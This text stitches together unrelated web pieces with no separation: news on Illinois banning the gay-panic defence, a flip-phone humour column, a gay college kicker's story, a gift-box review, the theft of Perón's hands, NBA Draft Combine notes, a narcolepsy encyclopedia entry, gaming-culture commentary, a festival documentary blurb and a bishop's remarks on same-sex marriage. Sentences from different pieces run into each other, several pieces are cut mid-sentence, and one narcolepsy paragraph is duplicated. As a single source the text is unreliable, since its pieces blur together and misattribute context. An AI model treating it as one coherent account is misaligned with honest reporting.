Dragon Age reportedly sold almost exactly as well as the previous game did in 2011.When a 14-year-old California boy gunned down his gay classmate in 2008, his attorneys argued that it was because the victim provoked him by flirting with him.
When 21-year-old Matthew Shepard was punched, pistol-whipped, tied to a fence and left to die in 1998, his killers’ attorneys said the attackers were triggered by Shepard making sexual advances toward them.
And after a 21-year-old transgender woman in Harlem was beaten to death in 2013, one of her attackers said he hurt her out of “blind fury” after he flirted with her and then realized she was transgender.
Anthony Michael Kreis, who drafted the Illinois legislation, said the passage of the “gay panic” defence law has boosted efforts in other states to enact similar bans.
Starting Monday, attorneys in Illinois will be barred from using the approach after a state law passed — without a single “no” vote in either the state House or Senate — making it the second state in the country to ban the defence in the courtroom.
For decades, LGBTQ people have been brutally attacked or killed and then blamed for their own deaths in cases where attorneys attempt, sometimes successfully, to use a “gay panic” or “trans panic” defence.
Kreis said because the LGBTQ community is at higher risk for violence, the law comes at an important time.
Kreis has heard from advocates in Massachusetts, Rhode Island and New Jersey, among others, asking for help pushing their own bills. Similar legislation has been discussed by lawmakers in New Jersey and Pennsylvania. Other states where the defence has been allowed include Maryland, Texas and Washington.
This year marked the deadliest year on record for the transgender community, with at least 28 people shot and killed across the United States, according to the Human Rights Campaign.
“It sends an important message to the LGBTQ community that the state will protect them equally and the courts will not be allowed to entertain these types of defences, which victimize victims again,” Kreis said of the new Illinois law.
There isn’t an exact definition, but a gay or trans panic defence is essentially when someone doesn’t realize they’re interacting with an LGBTQ person and becomes so overcome with rage when they realize it that they physically attack the person in the heat of the moment.
It’s estimated that gay and trans panic defences have been used in at least 23 states since the 1960s, according to the Williams Institute, a think tank at the UCLA School of Law.
Gay and trans panic defences have allowed people accused of killing LGBTQ people to receive lesser sentences, and in some cases, avoid any punishment, according to the institute.
California was the first state to ban the defence, in 2014, and the American Bar Association pushed for a ban in 2013.
In Washington state, a bill banning gay and trans panic defences is expected to be introduced in the coming weeks for the next legislative session.
“It’s a defence that allows people to perpetuate hate crimes,” said Monisha Harrell, Equal Rights Washington chairperson. “It is saying you’re surprised that somebody might be different than you, whatever that difference is, and that that would allow you to initiate violence, and in some cases, lethal violence. That should never be a defence.”
Cynthia Lee, a criminal defence professor at George Washington University, said there could be unintended consequences to passing these types of bans.
In her research on gay and trans panic defences, Lee has found that most attorneys make “reprehensible” arguments, largely playing off stereotypes about gay men or transgender women.
However, legislation might not be the solution, she said.
Social science research has shown that juries can be affected by attorneys calling out racial stereotypes and bigotry. There is less research on what happens when LGBTQ stereotypes are used, but it brings up an interesting argument, she said.
For example, if a defence attorney makes an argument largely based on racial stereotypes, and a prosecutor calls that out, research has found that a jury will often respond by treating a black defendant the same as they would a white defendant, she said.
If attorneys were properly trained on how to respond to a gay or trans panic defence when it was brought up
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arguments supporting the use of flip phones even though smartphone prices really aren't that bad these days.
Right now, for example, an iPhone 5C starts at $99. Which is fairly affordable. Of course, you'll have to live with the fact that people will think your phone was a victim of some sort of horrible paint explosion.
But if you can get past the fact that its color cannot be found anywhere on the natural spectrum, you'll be good to go. Until the battery dies.
That might be a legitimate argument for flip phones. They do tend to last longer by virtue of the fact that they're not trying to power a million different apps, all of which are keeping you from performing your duties at work.
My Phone: The apps go on forever and the party never ends.
Hell, maybe that's why Jerry Jones is so successful. He can't be bothered with all these distractions. Whereas, at this very moment, the following apps are currently running in the background of my iPhone:
Messages, Safari, Facebook, Twitter, Clock, Evernote, USA Today Crossword, Reddit Pics, The Weather Channel, Instagram, Fox Sports, Clock, Camera, RSA SecurID, Tottenham Hotspur, Mail, Calendar, Remote, ESPN ScoreCenter, Key Ring, Google Maps, YouTube, MyRadar, and Settings.
Currently running on Jones' phone: Phone.
Clearly, one of us is more distracted. And perhaps there's a correlation between focus and wealth.
So, there's that.
Also, flip phones are arguably more durable. All the glass and major features are protected when you close them up. Whereas, with a smart phone, everything on the planet is basically a ball-peen hammer.
Of course, water is the ultimate death blow to any phone. Which is kind of sad. Remember when pushing somebody in the pool was funny? Now it's a $200 investment.
Anyway, I'm sure there's someone in your life who still uses a flip phone. So, share this with them and tell them it's OK. One of the richest men in the world is on their team.
Jerry Jones. The billionaire hipster.Eric Lueshen had a brief career as a kicker on the University of Nebraska football team before injury sidelined him in 2005. He told Nebraska radio station KNTK "The Ticket" that he was openly gay while playing and accepted by the team, if not all his coaches. He was so out he even took a male date to the student-athlete formal.
My experience went from being a very scared and somewhat shy gay person on the team to a very welcomed and loved teammate of many.
Lueshen said that while head coach Bill Callahan (now with the Dallas Cowboys) was very accepting (and even shed a tear when Lueshen shared his story), not all the assistants were. "Overall, I would have to say my experience was a positive thing, but you have to weigh the good with the bad... I was just being myself," Lueshen said.
He said he was nervous but was not going to lie if asked if he was gay. After being received uncomfortably by the team, his path to acceptance was paved by two popular teammates:
Two of my really good friends on the team, Sean Hill and Corey McKeon, asked me at lunch one day, "We were just wondering if you were gay." I very honestly said, "Yes, is that a problem?" They were like, "Oh no, that's really cool. We all thought that you were, and we just wanted to know."
Basically, his teammates loved and embraced him while some coaches shunned him and sometimes said negative things. He did stress that other coaches were "very sweet to me," including the head coach. His response was to work his ass off and prove that "I'm not just the pretty boy kicker, as my nickname became. I was there as a good athlete." He redshirted in 2003 and had a injury that derailed his career in 2005 after he had the inside track to be the starting kicker. He now lives in Chicago.
Lueshen said that Michael Sam coming out helped spur him to share his story since he noted that he was out in 2003 in "one of the most conservative states in the country." He had come out at 17 while a junior in high school. Lueshen is a man who was ahead of his time and it's great he is telling his story.
The radio interview is in two parts: Part 1, Part 2. Lueshen is very articulate and the interviewer does a good job.
Lueshen now has a Twitter account.Disclosure: There are affiliate links in this post. I purchased the box with my own money.
Artistry Gifts occasionally offers one time boxes. I decided to purchase this box because there are items in past boxes that interested me. I received the box back in September and decided to save the review for the beginning of October.
Subscription: Artistry Gifts Best of Best Limited Edition Box – one-time box
Cost: $75.00 with free shipping
What to Expect: “This one time special edition box will feature some of our best items from past boxes as well as some new must haves. Total value will be $100+ and every box will include an Inis Energy of the Sea Room Diffuser (value $28).”
Notes: Artistry Gifts is offering 10% off all subscriptions and items in their shoppe. The discount does apply to the Deluxe October Breakfast Box. Use coupon code OCTOBER10 at checkout.
The Original Spoiler
I received an email from Artistry Gifts on August 16th stating that they were not able to honor the spoiler because Inis Fragrances discontinued the diffuser until 2016. I was a little disappointed because I was looking forward to the diffuser.
The owner sent us a couple pictures of items that we could select from for the replacement item. I selected the Innis of the Sea Trio because I like the Inis scent and am unable to use the earrings. The Earrings do match the bracelet from the September Artistry Gift Theme Box. A description was included for each item. This was helpful especially for customers that have metal earring allergies. The earrings are surgical steel post and nickel-free.
The sun came out the other day. I rushed out and took pictures quickly. Too quickly because the kiddie pool is showing in the background! I’ll try to take a picture of the next special box before taking the items out. The items are individually wrapped in blue tissue paper.
Two’s Company Coral Reef Fresh Water Scented Candle: J assisted me in opening the box. He claimed the candle box for his room and will put treasures in it. The made-in-China soy candle has a strong fresh scent and a 35 hour burn time.
The candle holder is heavy and feels breakable. It’s a pretty accent color that adds color to a room. I did notice that it is from the same design line as the hand soap from the Artistry Gift La Mer Box. I may give the candle to my sister. She is running low on candles.
Notice I used the word “strong” to describe the candle, not light and airy!
Love You More Mug By Waste Not Paper: Oh no! I was shocked to see the mug was broken. It was packaged well in bubble wrap. Never fear. Melissa took good care of me and sent me a replacement mug.
I’m standing on the uneven ground and thought I was taking good photos! Apparently not. Here is the unbroken made-in-China mug. The mug matches the mug I received in the Artistry Gift Valentine Box. It’s great for soups.
Roger la Border First Press Fold-Out Shopping Bag: The Roger la Border owl print shopping bag is adorable. I love the design.
The shopping bag is large enough to carry groceries. The made-in-China bag is light-weight.
The bag will find plenty of use in our house. The upside-down owl is the pocket that the bag folds into when not in use.
The pocket holder is sewn into the bag. No need to worry about losing the bag holder.
I do not have to worry about carrying a little bag in my purse if I forget my reusable bag. I live in an area where plastic bags are available at the stores although I do try to avoid using them. I attempted to refold the bag neatly back into its holder.
Subscriptionista could do this blindfolded.
Swanky Sweet Pea Classic Bath Bomb Champagne and Roses: The made-in-the-USA bath bomb looks almost too beautiful to be used. I opened the package, and the champagne scent hit me in the face. About 30 seconds later it faded into a wonderful blend of champagne and rose.
I laughed at the warning that the product should not be eaten. I’ve seen bath products that look good enough to eat.
My dream bath product is one that creates lots of bubbles and tastes like chocolate.
Forty Below the Game: A couple in Iowa created the game. The object of the game is to have the lowest score in ten hands/rounds.
It’s a family game. I think J should be able to play with my help in the beginning. We will be trying the game out soon. Games are appreciated in our household because the winters are cold and long.
Games are a must in our household!
Tres Panache 8 Pop-up Note Cards: The designed in the USA, made in China thank you cards come in a solid box.
The inner cover is decorated with a matching design making it a beautiful reusable box. The company also has an ethical statement showing concern about sourcing and the environment.
I already started using the thank you notes. The pop-up design makes it fun to send them out. I need to locate the peacock for my sister. J is a fan of the pop-up cards. He loves the pop-up beach card from the Artistry Gifts July Theme Box.
I enjoy receiving old-fashion mail!
Charcoal Companion Rosewood Corn Holders: The made-in-China corn holders made an appearance in the Artistry Gift’s Father’s Day box.
Care instructions are printed on the back of the box.
I’ve been eyeing up the corn holders in the Artistry Gifts Shoppe and was excited to see them in my box!
J loves corn! We grow sweet corn and popcorn on our country property.
Inis Traveler Trio Set: The Inis Traveler Travel Trio Set is the item that I selected in place of the Inis Diffuser Spoiler that was no longer available.
I received the full-size Inis Body Lotion in the Artistry Gifts La Mer Special Edition Box.
Inis Body Lotion: I love the Inis scent. It is a unique scent that the company describes as “sparkling”. I can’t stop smelling the lotion. It smells like happiness by the sea.
Inis Cologne Spray: The Inis Cologne Spray is a lighter scent. It has that cologne scent that dissipates after a minute leaving behind a light refreshing calming Inis scent. Please let me know if there is an official term for the “cologne scent.”
Inis Bath + Shower Gel: The scent is a little lighter than the lotion. I will be using in the bath tub. Inis works with The Irish Whale and Dolphin Group because of the connection to the sea.
I used this picture a lot! The picture sums up how I feel about Inis!
Inis created a wave of words for those of us that are running out of ideas on how to describe scents!
Thank you Inis for the ideas!
Verdict: I enjoyed the Artistry Best of the Best box. The items are useful and appealing to my family. I give credit to Artistry Gifts for informing us that the spoiler was no longer available and providing us a choice for the replacement item.
What do you think of the Artistry Gifts Best of the Best Limited Edition Box? Share below and anything else on your mind!
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PinterestThe Perón family crypt, where Juan Perón's casket lay from 1976 until 2006. The burglars that absconded with his hands in 1987 reportedly entered though the transom window above the entrance.
The cutting of the Hands of Perón refers to a 1987 incident where the tomb of Juan Perón, former President of Argentina, was broken into and his hands dismembered and removed by persons unknown.
The incident [ edit ]
Perón died in July 1974. His casket remained in the Quinta de Olivos presidential residence until the March 1976 coup. The coffin was then placed in the Perón family tomb in Chacarita Cemetery, located in the Chacarita ward of the city of Buenos Aires.
In July 1987, 13 years after his death, the Peronist Justicialist Party received an anonymous letter claiming Perón's hands had been removed from his tomb along with his army cap and sword; the letter demanded the party pay an US$8 million ransom for their return.[1][2] When authorities checked Perón's tomb, they discovered that it had indeed been broken into and the hands and other items removed.[1] Forensic experts who examined the body said the mutilation had occurred only a short time before the discovery. One source[3] states that the tomb was broken into on June 23, 1987, and that a poem written to him by his last wife, Isabel, had also been removed from the tomb. At the time, some news reports stated that the hands had been removed with "a surgical instrument",[1] but later reports state that the dismemberment had been done with an electric saw.[3]
The head of the Justicialist Party, Vicente Saadi, refused to allow the ransom to be paid.[1] A criminal investigation was begun under the leadership of judge Jaime Far Suau: although six men were arrested and five arraigned,[4] none were charged in relation to the incident.[1] No suspect has ever been charged, and the hands have never been recovered.[3]
Many of those involved in the investigation of the disappearance of Perón's hands (including Judge Far Suau) have since died, some under circumstances considered questionable.[3] There is evidence that the theft had some sort of official support, as the robbers used a key to enter the tomb.[3]
Argentinian anthropologist[5] Rosana Guber has written that Perón's hands were seen by Argentinians as a symbol of his power, and that their theft was not just a simple criminal matter but also had deep cultural meaning; she viewed the debate about the hands as symbolic of the attempt to promote democracy in the country.[3] Lyman Johnson viewed the dismemberment as "a catalyst to destroy the symbolic cult of Perón".[3] With Perón's hands gone, Lyman wrote, his body became less important and his importance as a religious figure also decreased in comparison to that of his second wife, Eva Perón.
In their book Second Death: Licio Gelli, The P2 Masonic Lodge and The Plot to Destroy Juan Peron, writers Damian Nabot and David Cox write that the Masonic lodge P2, also known as the Propaganda Due, were involved in the theft, and that there was a ritual involved in the cutting of Peron's hands.[6]
Some other people - like writer Ciriaco Offeddu - put forward the idea that in fact Perón did not belong to the Peron family but that he was a Sardinian orphan from Mamoiada, adopted when very young. To hide his true identity his hands were removed. People of Mamoiada are famous for their ferocity.CHICAGO -- The post-NBA Draft Combine period is a time filled with overreaction, misinformation and focus on things away from the floor.
The combine is great because teams can meet prospects, learn their medical backgrounds and find out just how big and athletic they are.
(Well, maybe. We'll get to that in a second.)
However, we need to follow a couple of rules when reacting to what's going on around the league at this very volatile time.
1. Do not overreact to empirical measures of the combine
As I said in my preview, NBA teams look through athletic test results but neither pore over them nor make high-level decisions based because of them. They like measurements to see if they better explain tape (for instance, does a guy struggle to finish at the rim? A short wingspan could explain that), or if there could be room for improvement. They do not drastically alter thoughts of scouts and executives.
And this year, there is significant concern among teams about accuracy of measurements. The standing reach measurements seemed to be quite wrong, given the information in the DraftExpress database from past events. That trickles down to the vertical jump measurements, as verticals are taken by subtracting the highest point of a player's jump from a player's standing reach. For instance, Demetrius Jackson, who posted a 43.5-inch vertical leap, good for second at the combine, had been measured in the past at Hoop Summit in 2013 at an 8-foot standing reach. This time around, Jackson had a 7-foot-9 standing reach despite measuring taller and with longer arms at the combine than at Hoop Summit. It seems quite likely that his standing reach was underreported, inflating his vertical measurement.
Scouts also temper reactions to the 5-on-5 games. First, it's two games, and it's never a great idea to make decisions based on small samples that size. Second, the word "game" is a pretty loose descriptor. It's a glorified high-level scrimmage among teams that have little chemistry. In cases of guys like Cheick Diallo, it gives scouts another look at a guy who didn't play a ton last season. But for players like Robert Carter, Chinanu Onuaku, scouts and executives have good feels for their games. Either way, things probably aren't drastically changing in terms of a player's stock.
2. Be careful with the information that's out there because of hidden agendas
The combine is beneficial for most non-players in attendance because it allows for a more free exchange of information than normal. However, people need to understand that the information that's being put out there is often biased. Teams are careful about what they say on or off the record. Agents are always biased toward their clients.
In particular, a confluence of events make gathering accurate information even more difficult. The top two picks are relatively clear, but then there are three clusters of talent. Nos. 3 through 12 are quite volatilet. Then, there's a tier from No. 13 to No. 25 or so. After that, it's a huge group from the bottom of the first round all the way through No. 60 or so. That's mean there will be quite a bit of misinformation out there as teams figure out their favorites. Because this is a weaker draft, there's little in the way of a consensus pecking order beyond very loose tiers.
Winners and Losers
It's still worth noting players who helped themselves -- however marginally -- and players who could have performed better. Again, for the winners, we're generally talking about a bump in ranking that isn't particularly big, but can be the difference between a first- and second-round pick.
WINNERS
Cheick Diallo | C | Kansas
Diallo started the combine by throwing up terrific measurements at 6-foot-9 with a 7-foot-4-plus wingspan. He followed with strong performances in both 5-on-5 games, standing out because of his athleticism, ability to run the floor, defense and motor.
This combine was arguably more important for Diallo than anyone. He needed to remind scouts about what they liked when he was rated coming into the season as a potential top 15 pick before falling into a rut in Kansas. Mission accomplished for the big man from Mali, who is off to the NBA for good after deciding to stay in the draft. Here are some more complete thoughts on Diallo.
DeAndre Bembry | SF | Saint Joseph's
Playing 5 on 5 was not necessary for Bembry. Like many other first-round-rated players, he could have done measurements, athletic testing and interviews. However, the 6-6 wing played, and -- much like Terry Rozier last year -- helped himself. Bembry was the best player on the court Thursday, showing diverse skills in passing, ball-handling and scoring inside the 3-point line.
The 21-year-old doesn't have much to worry about regarding his stock. He fits with a lot of teams in the 18 to 30 range, and just needs to continue working out and interviewing well to likely secure a place in the first round.
Jaron Blossomgame | SF | Clemson
Jaron Blossomgame might work his way into the first round after his performance at the combine. Getty Images
Blossomgame still hasn't made a decision about staying in the draft. He'll make that decision with improved stock after the event, which gives him leverage every potential pick would love.
The 6-7 forward showed off superb athleticism and solid size in athletic testing, then played well in the 5-on-5. On Friday, he showed off the improved shooting by knocking down three early 3-pointers and applied athleticism he showed in testing.
Blossomgame said he is planning to go down to the wire with his call, as he has a workout with the Suns on May 24. He said that if he gets indications his stock is in the No. 25 to 40 range, he'll probably give it a shot. If it's more near the end of the second round, he'll return to Clemson. NBA teams consider him to be right in the middle of those ranges, so he's going to have a tough call over the next few days.
Michael Gbinije | SG | Syracuse
The Syracuse senior was quite solid. He measured well at 6-foot-7, then played well in games, seeing time at the point and wing while defending different types, too. Gbinije has always been a solid defender in the framework of Syracuse's zone, but transitioning to a man-to-man scheme can always be a bit rough for Cuse players. He showed ability to man up in this setting, and that will help.
Gbinije's sweet spot is likely somewhere in the second round. At nearly 24 years old there's a slight perception of a lack of upside. Still, there aren't many players in that range who can handle the ball, create for others, shoot from distance and have potential defensively. His well-rounded skill set and positional versatility are exactly what teams are looking for in the pace and space era.
Kay Felder | PG | Oakland
Felder tied the record for max vertical leap at the combine this week at 44 inches, despite skepticism about the veracity of those marks this year. Still, being anywhere near that mark shows what kind of explosive athlete we'll see in Felder.
"I just looked up at the thing and said 'go get it,'" Felder said of his leap. "I just thought if I'm going to be here, why not leave with your name on the tip of people's mouths."
That athleticism showed up on both ends in the 5-on-5 session, where the biggest revelation was his ability to defend. Felder harassed guys like Melo Trimble and Cat Barber into turnovers. Occasionally at Oakland -- because of his role offensively -- Felder didn't play with a ton of effort on defense, and it's his biggest hurdle in carving out an NBA role. His size will always be a hindrance in switching onto larger players, but he's powerfully built and he showed he can be a weapon on that end.
Offensively, Felder also played well, showing burst to get to the rim whenever he wanted and a terrific mid-range pull-up game -- essential at his size. His pick-and-roll instincts are great too, and he should be able to create for teammates at the next level. I don't believe he'll necessarily be a first-round pick, but Felder definitely helped himself.
Joel Bolomboy | PF | Weber State
Bolomboy opened eyes in athletic testing, scoring a 40.5-inch vertical leap, the top lane agility score and one of the top sprint scores. Compared to size, there is likely no one who did better athletically this week than the big man who came in at 6-9, nearly 225 pounds. Again, while NBA teams don't necessarily go crazy over that stuff, it certainly will get him a closer look.
Bolomboy was OK in the games, showing the ability to hit shots from distance as well as control the glass. His instincts and basketball sense remain raw. He's not the quickest decision maker with the ball, and seems to lack some rotation awareness on defense. Bolomboy still likely walked out of this event with slightly more looks from teams because of that athleticism.
LOSERS
Caris LeVert | SG | Michigan
LeVert did not play, only interviewed for teams and media. However, during those interviews, he revealed he is still four weeks away from being able to do any on-court work. LeVert's foot problems have been well-chronicled, and it seems likely they will be flagged by the league during medical testing, should he through it.
That's a real shame, because on skill alone LeVert is almost assuredly a first-round pick because of his size, shooting ability and ball skill. We'll see what happens once the medicals come back, but it's hard to imagine LeVert sneaking into the first if he can't work out. Now, the question shifts as to whether a team will take a chance on him to see if he can get past injuries.
Daniel Hamilton | SG | Connecticut
Hamilton has hired an agent, which means he's in the draft. You have to wonder if he'll regret that decision, after he was one of the worst players in the 5-on-5 session and one of the worst athletes in testing. Hamilton only had a 29-inch vertical leap as well as some of the worst agility scores for a perimeter player. In the game, those things came to a head as he couldn't blow by anyone or create his own offense. Add relatively poor shooting and lackluster defense, and it's hard to see how he gets drafted at this point.
Marcus Lee | PF | Kentucky
Lee was one of the more surprising invites -- ranking at No. 111 on the CBS Sports Big Board -- and he did little to change that. He did not test as well athletically as anticipated, and really struggled in game settings. Not only was he ineffectual defensively, but he didn't play within his skill set offensively and tried to do too much.
Like Isaiah Briscoe, Lee is in a really tough spot right now. He needs to either return to Kentucky, where he has been recruited over in some ways, or go pro and hope for the best in the D-League while continuing to improve his game.
Troy Williams | SF | Indiana
Instead of trying to show scouts he can play within an offense and make good decisions, Williams was his wildly unpredictable self. He was out on the floor chucking shots with abandon, not particularly looking for teammates and generally tried to do too much. He also didn't test at the elite level athletically many around the league anticipated and has relatively short arms.
There's definitely a player within his package of skills but he must get his more wild tendencies under control. But right now, it's tough to see a team investing a draft pick in him.
Dedric Lawson | PF | Memphis
Lawson put up the worst vertical score, the worst sprint score, the worst shuttle score and the second-worst lane agility score. In the games, Lawson was highly ineffectual, struggling to do anything at even a marginal level. He didn't rebound all that well, he couldn't create anything on offense and his jump shot wasn't falling.
The good news is he can return to school, play for Tubby Smith at Memphis, likely improve his game and give it a shot next year. After all, he was among the youngest players in attendance at 18. But it's tough to see him getting a shot based on what teams saw at this combine.
QUICK HITTERS
Miami guard Sheldon McClellan had a really solid week after being the last player invited. He was only there after Wayne Selden was forced to miss action because of an injury, and he took advantage. McClellan posted terrific athletic measurements as expected, then played well in the 5-on-5 portion. Unfortunately, he was unable to schedule any interviews with teams because of his late arrival. I asked if it bothered him that he was unable to meet with NBA teams.
"It was kind of weird," McClellan said. "But I got the extra sleep in, because I didn't have to get up as early and I was well-rested for the game today, so I took some types of positives from it."
***
Melo Trimble will have a tough decision to make after not standing out at the combine. Getty Images
Maryland point guard Melo Trimble didn't have the best week, generally looking like the same out-of-sorts player we saw late last season. He says he is genuinely torn regarding whether he'll return to Maryland for his junior season. If he does return though, he'll team with Internet celebrities Jaylen Brantley and Jared Nickens, who have become famous because of their association with the "Running Man Challenge." Trimble himself has been in a couple of videos, and joked that he's glad that the craze around his teammates is dying down a bit.
"I just don't want them to get too big with it," Trimble said with a big smile. "They gotta understand that they're still basketball players."
Trimble also made a couple of jokes at his own expense about this experience in the videos.
"I mean, I can't dance," Trimble said laughing. "The two videos I was in somehow ended up being the best videos, too, so I don't know what happened. I was just doing me, or at least the best I could do."
***
I wrote about how underclassmen at the combine really appreciate the new early entry rules on Friday. Overall, the players are quite pleased with the process. One thing that didn't make the cut for that story though was when I asked Wisconsin forward Nigel Hayes about the role of agents within the process. Specifically, I asked if he felt agents should have some sort of role in the process in order to help the players out. Always somewhat vocal about amateurism questions, here's how Hayes responded.
"I would say so," Hayes said. "Maybe there are rules. Maybe you can talk to people. I don't know, I'm not really 100 percent sure. But if that is a rule that you can't, I think it wouldn't hurt to have someone who knows more about the situation than you do who can give you an eye. Not necessarily that they're giving you something in return or you're paying them, but being able to have a medium between yourself and college and the NBA I think would definitely help players."
***
Florida State guard Malik Beasley has kind of an interesting background. His family has been in the acting business for years. His mother Deena was in The Hunger Games. His father Michael was in Flight, the Denzel Washington movie, and appears in Netflix shows Bloodline and House of Cards. His grandfather, John, has over 50 credits on IMDB. Malik will definitely get his chance in front of the camera, but it'll be on the basketball floor instead of on a stage.
"Them being in the acting business helped me a lot," Beasley said. "They taught me how to deal with success and how to keep managing. It was pretty cool though watching them while growing up."Narcolepsy is a long-term neurological disorder that involves a decreased ability to regulate sleep-wake cycles.[1] Symptoms include periods of excessive daytime sleepiness that usually last from seconds to minutes and may occur at any time.[1] About 70% of those affected also experience episodes of sudden loss of muscle strength, known as cataplexy.[1] These experiences can be brought on by strong emotions.[1] Less commonly, there may be inability to move or vivid hallucinations while falling asleep or waking up.[1] People with narcolepsy tend to sleep about the same number of hours per day as people without, but the quality of sleep tends to be worse.[1]
The exact cause of narcolepsy is unknown, with potentially several causes.[1][3] In up to 10% of cases, there is a family history of the disorder.[1] Often, those affected have low levels of the neuropeptide orexin, which may be due to an autoimmune disorder.[1] Trauma, infections, toxins or psychological stress may also play a role.[1] Diagnosis is typically based on the symptoms and sleep studies, after ruling out other potential causes.[1] Excessive daytime sleepiness can also be caused by other sleep disorders such as sleep apnea, major depressive disorder, anemia, heart failure, drinking alcohol and not getting enough sleep.[1] Cataplexy may be mistaken for seizures.[1]
While there is no cure, a number of lifestyle changes and medications may help.[1] Lifestyle changes include taking regular short naps and sleep hygiene.[1] Medications used include modafinil, sodium oxybate and methylphenidate.[1] While initially effective, tolerance to the benefits may develop over time.[1] Tricyclic antidepressants and selective serotonin reuptake inhibitors (SSRIs) may improve cataplexy.[1]
About 0.2 to 600 per 100,000 people are affected.[2] The condition often begins in childhood.[1] Men and women are affected equally.[1] Untreated narcolepsy increases the risk of motor vehicle collisions and falls.[1] The term "narcolepsy" is from the French narcolepsie.[4] The French term was first used in 1880 by Jean-Baptiste-Édouard Gélineau, who used the Greek νάρκη (narkē), meaning "numbness", and λῆψις (lepsis) meaning "attack".[4]
Signs and symptoms [ edit ]
There are two main characteristics of narcolepsy: excessive daytime sleepiness and abnormal REM sleep.[5] The first, excessive daytime sleepiness (EDS), occurs even after adequate night time sleep. A person with narcolepsy is likely to become drowsy or fall asleep, often at inappropriate times and places, or just be very tired throughout the day. Narcoleptics are not able to experience the amount of restorative deep sleep that healthy people experience – they are not "over-sleeping". In fact, narcoleptics live their entire lives in a constant state of extreme sleep deprivation.
Daytime naps may occur with little warning and may be physically irresistible. These naps can occur several times a day. They are typically refreshing, but only for a few hours or less. Vivid dreams may be experienced on a regular basis, even during very brief naps. Drowsiness may persist for prolonged periods or remain constant. In addition, night-time sleep may be fragmented, with frequent awakenings. A second prominent symptom of narcolepsy is abnormal REM sleep. Narcoleptics are unique in that they enter into the REM phase of sleep in the beginnings of sleep, even when sleeping during the day.[5]
The classic symptoms of the disorder, often referred to as the "tetrad of narcolepsy," are cataplexy, sleep paralysis, hypnagogic hallucinations, and excessive daytime sleepiness.[6] Other symptoms may include automatic behaviors and night-time wakefulness.[5][7][8] These symptoms may not occur in all patients.
Cataplexy is an episodic loss of muscle function, ranging from slight weakness such as limpness at the neck or knees, sagging facial muscles, weakness at the knees often referred to as "knee buckling", [9] or inability to speak clearly, to a complete body collapse. Episodes may be triggered by sudden emotional reactions such as laughter, anger, surprise, or fear, and may last from a few seconds to several minutes. The person remains conscious throughout the episode. In some cases, cataplexy may resemble epileptic seizures. [10] Usually speech is slurred and vision is impaired (double vision, inability to focus), but hearing and awareness remain normal. Cataplexy also has a severe emotional impact on narcoleptics, as it can cause extreme anxiety, fear, and avoidance of people or situations that might elicit an attack. Cataplexy is generally considered to be unique to narcolepsy and is analogous to sleep paralysis in that the usually protective paralysis mechanism occurring during sleep is inappropriately activated. The opposite of this situation (failure to activate this protective paralysis) occurs in rapid eye movement behavior disorder.
or inability to speak clearly, to a complete body collapse. Episodes may be triggered by sudden emotional reactions such as laughter, anger, surprise, or fear, and may last from a few seconds to several minutes. The person remains conscious throughout the episode. In some cases, cataplexy may resemble epileptic seizures. Usually speech is slurred and vision is impaired (double vision, inability to focus), but hearing and awareness remain normal. Cataplexy also has a severe emotional impact on narcoleptics, as it can cause extreme anxiety, fear, and avoidance of people or situations that might elicit an attack. Cataplexy is generally considered to be unique to narcolepsy and is analogous to sleep paralysis in that the usually protective paralysis mechanism occurring during sleep is inappropriately activated. The opposite of this situation (failure to activate this protective paralysis) occurs in rapid eye movement behavior disorder. Periods of wakefulness at night [5]
Sleep paralysis is the temporary inability to talk or move when waking (or less often, when falling asleep). It may last a few seconds to minutes. This is often frightening but is not dangerous.
Hypnagogic hallucinations are vivid, often frightening, dreamlike experiences that occur while dozing or falling asleep. Hypnopompic hallucinations refer to the same sensations while awakening from sleep. These hallucinations may manifest in the form of visual or auditory sensations. [5]
Automatic behaviors occur when a person continues to function (talking, putting things away, etc.) during sleep episodes but awakens with no memory of performing such activities. It is estimated that up to 40 percent of people with narcolepsy experience automatic behavior during sleep episodes.
In most cases, the first symptom of narcolepsy to appear is excessive and overwhelming daytime sleepiness. The other symptoms may begin alone or in combination months or years after the onset of the daytime naps. There are wide variations in the development, severity, and order of appearance of cataplexy, sleep paralysis, and hypnagogic hallucinations in individuals. Only about 20 to 25 percent of people with narcolepsy experience all four symptoms. The excessive daytime sleepiness generally persists throughout life, but sleep paralysis and hypnagogic hallucinations may not.
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she plans to say something people want to disagree with.
This is not preaching to the choir (not least because RPS is read by a great deal of people, not just the regular community), but instead an attempt to boldly state just how serious a mess we’re in as a culture. The prevalence of homophobia and misogyny in the gaming world is on a scale so large we like to dismiss it. “But we don’t do that.” “That’s just forum X, though.” That’s not good enough. We need to own this – to acknowledge that as gamers this is our community, no matter how far we may wish to distance from it, and no matter how much we may not take part in it.
I’ve no clear idea what the solutions are. Education is my instinctive reaction, and – oh – that’s what Sarkeesian is trying to create. I think a more representative portrayal of women in the medium would go a hell of a long way too, since were it the norm to see women portrayed as something other than sexual fantasies or weaklings to protect, people might not scream out that “games are mostly played by guys, and that’s what guys want,” as so many have in the reaction to this Kickstarter. Maybe if men and boys were shown that games are still just as thrilling and entertaining without resorting to such aspects, then not only would women and girls feel less alienated by the medium, but maybe people would be less inclined to defend it.
If you want to donate toward the video series, there are just under three days to go.James Marcus Haney spent over three years running, jumping, and faking his way into over 50 music festivals and events, including Bonnaroo, Coachella, Glastonbury, Austin City Limits, and even the Grammys. Haney, an aspiring filmmaker, turned his epic adventure into a documentary called, No Cameras Allowed, which premiered last month on MTV. Now, the full film is available to view online — watch below.
Haney describes the film as not just about a guy who sneaks into festivals, but a “coming of age story set in a music world. It’s a love letter written to these festivals, in a way. And it shows them in such a great light that my goal is that people will see my film and then go and experience live music on their own.”
During his travels, Haney also befriended several bands, including Mumford and Sons, who provided music for the film’s soundtrack.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
The former Bishop of Rochester says introducing equal marriage could force the Queen to break a sovereign promise.
Dr Michael Nazir Ali said the Queen vowed when she was crowned 60 years ago to “uphold the laws of God”.
The 63-year-old Anglican made the comments yesterday in a service outside Buckingham Palace on the 60th anniversary of the Coronation.
He later told the Mail: “The idea of a constitutional monarchy comes from the Bible. Christians are told in the Bible to obey their rulers, unless the ruler tells us to do something God forbids.
“Happily in this country we have a monarchy that has taken an oath of upholding God’s laws, and the present Queen has for years been faithful to that. We are praying that she continues to be faithful.”
“That puts the onus on the prime minister not to put the Queen into a position where she may have to go against the sovereign promises she has made. We hope that she is not put in that position.”
The Marriage (Same Sex Couples) Bill will receive its second reading in the House of Lords on Monday afternoon and peers will vote on the bill tomorrow evening.
In March, to mark Commonwealth Day, the Queen signed a new charter which supporters claimed backed equal rights for women and gay people in every Commonwealth nation.
